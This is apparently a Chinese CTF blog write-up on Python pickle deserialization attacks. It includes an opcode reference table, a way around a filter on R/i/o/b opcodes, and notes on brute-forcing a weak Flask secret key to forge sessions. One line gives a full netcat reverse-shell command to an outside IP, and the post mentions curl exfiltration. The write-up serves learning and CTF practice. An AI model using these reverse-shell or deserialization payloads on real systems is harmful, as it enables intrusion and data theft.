pickle相关
本文最后更新于:2024年12月14日 下午
前情提要
昨天打美团的比赛,做到一个pickle的反序列化题,很是破防,这几天来好好研究一下。
使用R指令实现基础rce
[watevrCTF-2019]Pickle Store
这题拿到手就看到是个store,发现他有个base64的cookie,解开后是pickle序列化后的opcode
尝试直接构造__reduce()__进行rce
1 |
|
发现网页无法回显,尝试反弹shell,使用nc监听
1 |
|
当然这里也可以用nc来反弹shellnc 124.220.11.247 10800 -e/bin/sh
期间还遇到个坑,python对于多层引号嵌套似乎没有很好的支持,需要手动添加\\进行转译
拿到shell,获取flag
这里我们依然是用pickle来实现构造payload的,但是灵活性大大不如手撸opcode,因此得了解一波opcode
这里先给出opcode表
opcode | 描述 | 具体写法 | 栈上的变化 | memo 上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、’等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
这里来尝试一下手撸刚刚的opcode
1 |
|
开个环境测试一下
成功getshell
基础的rce差不多了解了,来接触一些带过滤的
在R之外
与函数执行相关的opcode总共有三个R,o,i
o
1 |
|
注意此时mark标记只能在开头,具体原因还待研究
i
1 |
|
i就像是o和R的结合体,又能导入又能执行函数
这里就不得不提到写这篇文章的原因了
也就是今年mtctf的easypickle
原题的代码如下
1 |
|
这里的反序列化点在session上,要控制session就要知道secretkey,有secretkey后就能任意伪造session,这里知道session和对应的值,且key只有四位,直接写脚本碰撞就可以,在网上看到一个叫flask-unsign
的项目,这里mark一下
得到反序列化的入口后就可以直接进行反序列化了,这里他过滤死了riob,当场给我干懵了,当时苦思冥想也没有啥办法
赛后看到大佬的wp才恍然大悟,这里判断是否有riob是在replace过后的,且反序列化时还是原始数据,这里o其实是还可以用的,只要保证o和s在一起就好了 这里搓一个opcode
1 |
|
注意这里d之后是不能换行的,具体原因有待研究,暂且认为是语法规定?
这东西序列化之后如图所示,对照opcode很好理解
一开始不是很了解栈的概念,后面才了解到的先压入的在后面,所以编写opcode要注意顺序
当然这题没有回显且不能反弹shell
可以像 le1a师傅一样使用curl外带数据
1 |
|
b,c
指令的一些妙用
这个就是在学pickle时候遇到的一些别的问题了,暂且先懒得写了,贴几篇文章吧